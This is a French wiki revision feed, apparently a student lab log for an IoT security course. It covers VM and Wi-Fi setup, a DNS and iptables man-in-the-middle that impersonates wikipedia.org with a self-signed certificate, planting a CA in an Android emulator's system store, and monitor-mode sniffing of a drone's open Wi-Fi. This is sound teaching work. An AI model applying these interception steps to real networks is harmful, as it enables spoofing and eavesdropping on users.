&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
#  Networking&lt;br /&gt;
&lt;br /&gt;
#&lt;br /&gt;
&lt;br /&gt;
dhcp        = 'dhcp'&lt;br /&gt;
&lt;br /&gt;
vif         = [ 'mac=00:16:3E:1A:68:1E,bridge=bridgeStudents' ,&lt;br /&gt;
&lt;br /&gt;
       'mac=00:16:3E:1A:68:1F,bridge=g3_handrian']&lt;br /&gt;
&lt;br /&gt;
#&lt;br /&gt;
&lt;br /&gt;
Configuration&lt;br /&gt;
&lt;br /&gt;
auto Trunk.411&lt;br /&gt;
&lt;br /&gt;
iface Trunk.411 inet manual&lt;br /&gt;
&lt;br /&gt;
       vlan-raw-device Trunk&lt;br /&gt;
&lt;br /&gt;
       up ip link set $IFACE up&lt;br /&gt;
&lt;br /&gt;
       down ip link set $IFACE down&lt;br /&gt;
&lt;br /&gt;
auto g3_handrian&lt;br /&gt;
&lt;br /&gt;
iface g3_handrian inet manual&lt;br /&gt;
&lt;br /&gt;
   bridge_ports Trunk.411&lt;br /&gt;
&lt;br /&gt;
   up ip link set $IFACE up&lt;br /&gt;
&lt;br /&gt;
   down ip link set $IFACE down&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Sécurisation WiFi par WPA2-PSK ==&lt;br /&gt;
&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
dot11 ssid SE5-handrian&lt;br /&gt;
  vlan 411&lt;br /&gt;
  authentication open&lt;br /&gt;
  authentication key-management wpa&lt;br /&gt;
  wpa-psk ascii 0 &amp;quot; &amp;quot;&lt;br /&gt;
  mbssid guest-mode&lt;br /&gt;
exit&lt;br /&gt;
interface Dot11Radio1&lt;br /&gt;
  encryption vlan 411 mode ciphers aes-ccm&lt;br /&gt;
  ssid SE5-handrian&lt;br /&gt;
  mbssid&lt;br /&gt;
  no shutdown&lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
interface Dot11Radio1.411&lt;br /&gt;
  encapsulation dot1Q 411&lt;br /&gt;
  bridge-group 11&lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
interface GigabitEthernet0.411&lt;br /&gt;
  encapsulation dot1Q 411&lt;br /&gt;
  bridge-group 11&lt;br /&gt;
exit&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour vérifier :  ap# sh dot11 bssid&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
ap#sh dot11 bssid                                                               &lt;br /&gt;
Interface      BSSID         Guest  SSID                                        &lt;br /&gt;
Dot11Radio1   04da.d2d1.4bf0  Yes  SE5-azongo                                   &lt;br /&gt;
Dot11Radio1   04da.d2d1.4bf1  Yes  SE5-crhanim                                  &lt;br /&gt;
Dot11Radio1   04da.d2d1.4bf2  Yes  SE5-handrian&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Installer isc-dhcp-server&lt;br /&gt;
&lt;br /&gt;
dans la VM  :  /etc/dhcp/dhcpd.conf&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
subnet 172.16.11.0 netmask 255.255.255.0 {&lt;br /&gt;
  range 172.16.11.100 172.16.11.200;&lt;br /&gt;
  option routers 172.16.11.1;&lt;br /&gt;
  #option routers rtr-239-0-1.example.org, rtr-239-0-2.example.org;&lt;br /&gt;
  option domain-name-servers 172.16.11.1;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;dans /etc/default/isc-dhcp-server : INTERFACESv4=&amp;quot;eth1&amp;quot;&lt;br /&gt;
&lt;br /&gt;
dans /etc/sysctl.conf :  décommenter : net.ipv4.ip_forward=1&lt;br /&gt;
&lt;br /&gt;
sysctl -p /etc/sysctl.conf : pour recharger '''configuration sysctl.'''&lt;br /&gt;
&lt;br /&gt;
sysctl net.ipv4.ip_forward : pour vérifier&lt;br /&gt;
&lt;br /&gt;
== Interception de flux ==&lt;br /&gt;
&lt;br /&gt;
== Redirection par DNS ==&lt;br /&gt;
Modification du fichier  '''/etc/bind/named.conf.local'''&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
//&lt;br /&gt;
// Do any local configuration here&lt;br /&gt;
//&lt;br /&gt;
&lt;br /&gt;
// Consider adding the 1918 zones here, if they are not used in your&lt;br /&gt;
// organization&lt;br /&gt;
//include &amp;quot;/etc/bind/zones.rfc1918&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
zone &amp;quot;wikipedia.org&amp;quot; {&lt;br /&gt;
        type master;&lt;br /&gt;
        file &amp;quot;/etc/bind/db.wikipedia.org&amp;quot;;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Création de la zone '''db.wikipedia.org'''&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
$TTL    604800&lt;br /&gt;
@       IN      SOA     ns.wikipedia.org. admin.wikipedia.org. (&lt;br /&gt;
                             10         ; Serial&lt;br /&gt;
                         604800         ; Refresh&lt;br /&gt;
                          86400         ; Retry&lt;br /&gt;
                        2419200         ; Expire&lt;br /&gt;
                         604800 )       ; Negative Cache TTL&lt;br /&gt;
;&lt;br /&gt;
@       IN      NS      ns.wikipedia.org.&lt;br /&gt;
ns      IN      A       172.16.11.1&lt;br /&gt;
@       IN      A       172.16.11.1&lt;br /&gt;
www     IN      A       172.16.11.1&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Redirection réseau ==&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
iptables -t nat -A PREROUTING -i eth0 -p tcp --dport 80 -j REDIRECT --to-ports 8080&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;'''iptables -t nat -L -n -v'''&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
Chain PREROUTING (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination         &lt;br /&gt;
    0     0 REDIRECT   6    --  eth0   *       0.0.0.0/0            0.0.0.0/0            tcp dpt:80 redir ports 8080&lt;br /&gt;
&lt;br /&gt;
Chain INPUT (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination         &lt;br /&gt;
&lt;br /&gt;
Chain OUTPUT (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination         &lt;br /&gt;
&lt;br /&gt;
Chain POSTROUTING (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination         &lt;br /&gt;
    5  1468 MASQUERADE  0    --  *      *       172.16.11.0/24       0.0.0.0/0   &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Serveur Apache sécurisé ==&lt;br /&gt;
&lt;br /&gt;
=== Génération du certificat auto-signé Apache ===&lt;br /&gt;
&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
openssl req -x509 -nodes -days 365 \&lt;br /&gt;
  -newkey rsa:2048 \&lt;br /&gt;
  -keyout /etc/ssl/apache/apache-selfsigned.key \&lt;br /&gt;
  -out /etc/ssl/apache/apache-selfsigned.crt \&lt;br /&gt;
  -subj &amp;quot;/C=FR/ST=Nord/L=Lille/O=Polytech/CN=wikipedia.org&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Configuration Apache ===&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;VirtualHost *:443&amp;gt;&lt;br /&gt;
    ServerName wikipedia.org&lt;br /&gt;
&lt;br /&gt;
    DocumentRoot /var/www/html&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
    SSLEngine on&lt;br /&gt;
    SSLCertificateFile /etc/ssl/apache/apache-selfsigned.crt&lt;br /&gt;
    SSLCertificateKeyFile /etc/ssl/apache/apache-selfsigned.key&lt;br /&gt;
&lt;br /&gt;
    ErrorLog ${APACHE_LOG_DIR}/site-error.log&lt;br /&gt;
    CustomLog ${APACHE_LOG_DIR}/site-access.log combined&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
    ServerName wikipedia.org&lt;br /&gt;
    Redirect permanent / https://wikipedia.org/&lt;br /&gt;
&amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Pour activer ====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
a2ensite site-se5.conf&lt;br /&gt;
service apache2 reload&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour véridier l'écoute du port 443&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
# ss -tulpn | grep 443&lt;br /&gt;
tcp   LISTEN 0      128                *:443             *:*    users:((&amp;quot;apache2&amp;quot;,pid=5394,fd=6),(&amp;quot;apache2&amp;quot;,pid=5393,fd=6),(&amp;quot;apache2&amp;quot;,pid=5390,fd=6))&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Machine virtuelle android ==&lt;br /&gt;
&lt;br /&gt;
=== Installation de la machine virtuelle Android ===&lt;br /&gt;
&lt;br /&gt;
==== 1ère tentative avec QEMU : Création disque ====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
qemu-img create -f qcow2 android.qcow2 16G&lt;br /&gt;
Formatting 'android.qcow2', fmt=qcow2 cluster_size=65536 extended_l2=off compression_type=zlib size=17179869184 lazy_refcounts=off refcount_bits=16&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== Installation de l'android =====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
qemu-system-x86_64 \&lt;br /&gt;
  -m 4096 \&lt;br /&gt;
  -smp 4 \&lt;br /&gt;
  -enable-kvm \&lt;br /&gt;
  -drive file=android.qcow2,format=qcow2 \&lt;br /&gt;
  -cdrom ~/Downloads/android-x86-9.0-r2.iso \&lt;br /&gt;
  -boot d \&lt;br /&gt;
  -net nic -net user&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour lancer l'android : &amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
qemu-system-x86_64   -m 4096   -smp 4   -enable-kvm   -drive file=android.qcow2,format=qcow2 -net nic -net user&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== 2ème tentative avec Android Studio ====&lt;br /&gt;
&lt;br /&gt;
===== Installation d’Android Studio =====&lt;br /&gt;
J'ai installé Android Studio à partir du site officiel de Google.&lt;br /&gt;
&lt;br /&gt;
Après l’installation, les composants suivants ont été installés via le SDK Manager :&lt;br /&gt;
&lt;br /&gt;
* Android SDK Platform&lt;br /&gt;
* Android SDK Platform-Tools&lt;br /&gt;
* Android Emulator&lt;br /&gt;
&lt;br /&gt;
L’installation du SDK s’est déroulée sans erreur particulière&lt;br /&gt;
&lt;br /&gt;
Puis la création de l'AVD :&lt;br /&gt;
&lt;br /&gt;
* Modèle : Pixel 6 Pro&lt;br /&gt;
* Version : API 31 Android 12&lt;br /&gt;
* Architecture : x86_64 &lt;br /&gt;
&lt;br /&gt;
== Mise en place du certificat ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Première tentative avec les commandes suivantes :&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
adb root&lt;br /&gt;
adb shell avbctl disable-verification&lt;br /&gt;
adb reboot&lt;br /&gt;
adb wait-for-device root&lt;br /&gt;
adb remount&lt;br /&gt;
adb push 500e3c27.0 /system/etc/security/cacerts&lt;br /&gt;
adb shell chmod 664 /system/etc/security/cacerts/500e3c27.0&lt;br /&gt;
adb reboot&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Problèmes rencontrés ===&lt;br /&gt;
&lt;br /&gt;
==== Accès root et système en lecture seule ====&lt;br /&gt;
Même lorsque l’accès ADB était fonctionnel, l’accès root était souvent limité. Les partitions système étaient en lecture seule et les tentatives de remount ('''adb remount''') ou de modification du système échouaient.&lt;br /&gt;
&lt;br /&gt;
=== Résolutions ===&lt;br /&gt;
Démarrage de l'émulateur en Cold Boot avec la commande : &amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
emulator -avd Pixel_6_Pro -writable-system -no-snapshot-load&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Puis,&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
adb root&lt;br /&gt;
adb disable-verity&lt;br /&gt;
adb reboot&lt;br /&gt;
adb root&lt;br /&gt;
adb remount&lt;br /&gt;
adb push 500e3c27.0 /system/etc/security/cacerts/&lt;br /&gt;
adb shell chmod 664 /system/etc/security/cacerts/500e3c27.0&lt;br /&gt;
adb reboot&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Drone ==&lt;br /&gt;
Utilisation de la carte Wipi&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
airmon-ng start wlx40a5efd21166&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
airodump-ng -c 1 wlan0mon&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;40:07:76:C0:20:23  -39        4        0    0   1   65   OPN              WIFI_UFO_2320c0 &amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
iwconfig wlan0mon channel 1&lt;br /&gt;
wireshark&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
[[Fichier:Wireshark.png|gauche|vignette|869x869px]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Connexion Zabeth-Drone ===&lt;br /&gt;
Configuration wifi :&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
iface wlan1 inet static&lt;br /&gt;
  wireless-essid WIFI_UFO_2320c0&lt;br /&gt;
  address 192.168.1.101/24&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Vérification :&lt;br /&gt;
&lt;br /&gt;
iwconfig&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
wlan1     IEEE 802.11  ESSID:&amp;quot;WIFI_UFO_2320c0&amp;quot;  &lt;br /&gt;
          Mode:Managed  Frequency:2.412 GHz  Access Point: 40:07:76:C0:20:23   &lt;br /&gt;
          Bit Rate=26 Mb/s   Tx-Power=22 dBm   &lt;br /&gt;
          Retry short limit:7   RTS thr:off   Fragment thr:off&lt;br /&gt;
          Encryption key:off&lt;br /&gt;
          Power Management:on&lt;br /&gt;
          Link Quality=63/70  Signal level=-47 dBm  &lt;br /&gt;
          Rx invalid nwid:0  Rx invalid crypt:0  Rx invalid frag:0&lt;br /&gt;
          Tx excessive retries:0  Invalid misc:28   Missed beacon:0&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;ping 192.168.1.1&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
64 bytes from 192.168.1.1: icmp_seq=1 ttl=255 time=8.50 ms&lt;br /&gt;
64 bytes from 192.168.1.1: icmp_seq=2 ttl=255 time=9.05 ms&lt;br /&gt;
64 bytes from 192.168.1.1: icmp_seq=3 ttl=255 time=3.33 ms&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;/div&gt;</summary>
		<author><name>Handrian</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=SE5_IdO_s%C3%A9curit%C3%A9_des_objets_2025/2026_b3&amp;diff=11163</id>
		<title>SE5 IdO sécurité des objets 2025/2026 b3</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=SE5_IdO_s%C3%A9curit%C3%A9_des_objets_2025/2026_b3&amp;diff=11163"/>
		<updated>2026-01-13T13:28:25Z</updated>

		<summary type="html">&lt;p&gt;Handrian : /* Drone */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=== Création de la machine virtuelle ===&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
xen-create-image --hostname=SE5-handrian --dhcp --bridge=bridgeStudents --dir=/usr/local/xen --size=10GB --dist=daedalus --memory=1024M&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Configuration VM ===&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
# This file describes the network interfaces available on your system&lt;br /&gt;
&lt;br /&gt;
# and how to activate them. For more information, see interfaces(5).&lt;br /&gt;
&lt;br /&gt;
# The loopback network interface&lt;br /&gt;
&lt;br /&gt;
auto lo&lt;br /&gt;
&lt;br /&gt;
iface lo inet loopback&lt;br /&gt;
&lt;br /&gt;
# The primary network interface&lt;br /&gt;
&lt;br /&gt;
auto eth0&lt;br /&gt;
&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
&lt;br /&gt;
       address 172.26.145.111&lt;br /&gt;
&lt;br /&gt;
       netmask 255.255.255.0&lt;br /&gt;
&lt;br /&gt;
       gateway 172.26.145.251&lt;br /&gt;
&lt;br /&gt;
       dns-nameservers 172.26.145.251&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
#VLAN411&lt;br /&gt;
&lt;br /&gt;
auto eth1&lt;br /&gt;
&lt;br /&gt;
iface eth1 inet static&lt;br /&gt;
&lt;br /&gt;
       address 172.16.11.0&lt;br /&gt;
&lt;br /&gt;
       netmask 255.255.255.0&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Capbreton ===&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
#  Networking&lt;br /&gt;
&lt;br /&gt;
#&lt;br /&gt;
&lt;br /&gt;
dhcp        = 'dhcp'&lt;br /&gt;
&lt;br /&gt;
vif         = [ 'mac=00:16:3E:1A:68:1E,bridge=bridgeStudents' ,&lt;br /&gt;
&lt;br /&gt;
       'mac=00:16:3E:1A:68:1F,bridge=g3_handrian']&lt;br /&gt;
&lt;br /&gt;
#&lt;br /&gt;
&lt;br /&gt;
Configuration&lt;br /&gt;
&lt;br /&gt;
auto Trunk.411&lt;br /&gt;
&lt;br /&gt;
iface Trunk.411 inet manual&lt;br /&gt;
&lt;br /&gt;
       vlan-raw-device Trunk&lt;br /&gt;
&lt;br /&gt;
       up ip link set $IFACE up&lt;br /&gt;
&lt;br /&gt;
       down ip link set $IFACE down&lt;br /&gt;
&lt;br /&gt;
auto g3_handrian&lt;br /&gt;
&lt;br /&gt;
iface g3_handrian inet manual&lt;br /&gt;
&lt;br /&gt;
   bridge_ports Trunk.411&lt;br /&gt;
&lt;br /&gt;
   up ip link set $IFACE up&lt;br /&gt;
&lt;br /&gt;
   down ip link set $IFACE down&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Sécurisation WiFi par WPA2-PSK ==&lt;br /&gt;
&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
dot11 ssid SE5-handrian&lt;br /&gt;
  vlan 411&lt;br /&gt;
  authentication open&lt;br /&gt;
  authentication key-management wpa&lt;br /&gt;
  wpa-psk ascii 0 &amp;quot; &amp;quot;&lt;br /&gt;
  mbssid guest-mode&lt;br /&gt;
exit&lt;br /&gt;
interface Dot11Radio1&lt;br /&gt;
  encryption vlan 411 mode ciphers aes-ccm&lt;br /&gt;
  ssid SE5-handrian&lt;br /&gt;
  mbssid&lt;br /&gt;
  no shutdown&lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
interface Dot11Radio1.411&lt;br /&gt;
  encapsulation dot1Q 411&lt;br /&gt;
  bridge-group 11&lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
interface GigabitEthernet0.411&lt;br /&gt;
  encapsulation dot1Q 411&lt;br /&gt;
  bridge-group 11&lt;br /&gt;
exit&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour vérifier :  ap# sh dot11 bssid&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
ap#sh dot11 bssid                                                               &lt;br /&gt;
Interface      BSSID         Guest  SSID                                        &lt;br /&gt;
Dot11Radio1   04da.d2d1.4bf0  Yes  SE5-azongo                                   &lt;br /&gt;
Dot11Radio1   04da.d2d1.4bf1  Yes  SE5-crhanim                                  &lt;br /&gt;
Dot11Radio1   04da.d2d1.4bf2  Yes  SE5-handrian&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Installer isc-dhcp-server&lt;br /&gt;
&lt;br /&gt;
dans la VM  :  /etc/dhcp/dhcpd.conf&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
subnet 172.16.11.0 netmask 255.255.255.0 {&lt;br /&gt;
  range 172.16.11.100 172.16.11.200;&lt;br /&gt;
  option routers 172.16.11.1;&lt;br /&gt;
  #option routers rtr-239-0-1.example.org, rtr-239-0-2.example.org;&lt;br /&gt;
  option domain-name-servers 172.16.11.1;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;dans /etc/default/isc-dhcp-server : INTERFACESv4=&amp;quot;eth1&amp;quot;&lt;br /&gt;
&lt;br /&gt;
dans /etc/sysctl.conf :  décommenter : net.ipv4.ip_forward=1&lt;br /&gt;
&lt;br /&gt;
sysctl -p /etc/sysctl.conf : pour recharger '''configuration sysctl.'''&lt;br /&gt;
&lt;br /&gt;
sysctl net.ipv4.ip_forward : pour vérifier&lt;br /&gt;
&lt;br /&gt;
== Interception de flux ==&lt;br /&gt;
&lt;br /&gt;
== Redirection par DNS ==&lt;br /&gt;
Modification du fichier  '''/etc/bind/named.conf.local'''&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
//&lt;br /&gt;
// Do any local configuration here&lt;br /&gt;
//&lt;br /&gt;
&lt;br /&gt;
// Consider adding the 1918 zones here, if they are not used in your&lt;br /&gt;
// organization&lt;br /&gt;
//include &amp;quot;/etc/bind/zones.rfc1918&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
zone &amp;quot;wikipedia.org&amp;quot; {&lt;br /&gt;
        type master;&lt;br /&gt;
        file &amp;quot;/etc/bind/db.wikipedia.org&amp;quot;;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Création de la zone '''db.wikipedia.org'''&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
$TTL    604800&lt;br /&gt;
@       IN      SOA     ns.wikipedia.org. admin.wikipedia.org. (&lt;br /&gt;
                             10         ; Serial&lt;br /&gt;
                         604800         ; Refresh&lt;br /&gt;
                          86400         ; Retry&lt;br /&gt;
                        2419200         ; Expire&lt;br /&gt;
                         604800 )       ; Negative Cache TTL&lt;br /&gt;
;&lt;br /&gt;
@       IN      NS      ns.wikipedia.org.&lt;br /&gt;
ns      IN      A       172.16.11.1&lt;br /&gt;
@       IN      A       172.16.11.1&lt;br /&gt;
www     IN      A       172.16.11.1&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Redirection réseau ==&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
iptables -t nat -A PREROUTING -i eth0 -p tcp --dport 80 -j REDIRECT --to-ports 8080&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;'''iptables -t nat -L -n -v'''&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
Chain PREROUTING (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination         &lt;br /&gt;
    0     0 REDIRECT   6    --  eth0   *       0.0.0.0/0            0.0.0.0/0            tcp dpt:80 redir ports 8080&lt;br /&gt;
&lt;br /&gt;
Chain INPUT (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination         &lt;br /&gt;
&lt;br /&gt;
Chain OUTPUT (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination         &lt;br /&gt;
&lt;br /&gt;
Chain POSTROUTING (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination         &lt;br /&gt;
    5  1468 MASQUERADE  0    --  *      *       172.16.11.0/24       0.0.0.0/0   &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Serveur Apache sécurisé ==&lt;br /&gt;
&lt;br /&gt;
=== Génération du certificat auto-signé Apache ===&lt;br /&gt;
&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
openssl req -x509 -nodes -days 365 \&lt;br /&gt;
  -newkey rsa:2048 \&lt;br /&gt;
  -keyout /etc/ssl/apache/apache-selfsigned.key \&lt;br /&gt;
  -out /etc/ssl/apache/apache-selfsigned.crt \&lt;br /&gt;
  -subj &amp;quot;/C=FR/ST=Nord/L=Lille/O=Polytech/CN=wikipedia.org&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Configuration Apache ===&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;VirtualHost *:443&amp;gt;&lt;br /&gt;
    ServerName wikipedia.org&lt;br /&gt;
&lt;br /&gt;
    DocumentRoot /var/www/html&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
    SSLEngine on&lt;br /&gt;
    SSLCertificateFile /etc/ssl/apache/apache-selfsigned.crt&lt;br /&gt;
    SSLCertificateKeyFile /etc/ssl/apache/apache-selfsigned.key&lt;br /&gt;
&lt;br /&gt;
    ErrorLog ${APACHE_LOG_DIR}/site-error.log&lt;br /&gt;
    CustomLog ${APACHE_LOG_DIR}/site-access.log combined&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
    ServerName wikipedia.org&lt;br /&gt;
    Redirect permanent / https://wikipedia.org/&lt;br /&gt;
&amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Pour activer ====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
a2ensite site-se5.conf&lt;br /&gt;
service apache2 reload&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour véridier l'écoute du port 443&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
# ss -tulpn | grep 443&lt;br /&gt;
tcp   LISTEN 0      128                *:443             *:*    users:((&amp;quot;apache2&amp;quot;,pid=5394,fd=6),(&amp;quot;apache2&amp;quot;,pid=5393,fd=6),(&amp;quot;apache2&amp;quot;,pid=5390,fd=6))&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Machine virtuelle android ==&lt;br /&gt;
&lt;br /&gt;
=== Installation de la machine virtuelle Android ===&lt;br /&gt;
&lt;br /&gt;
==== 1ère tentative avec QEMU : Création disque ====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
qemu-img create -f qcow2 android.qcow2 16G&lt;br /&gt;
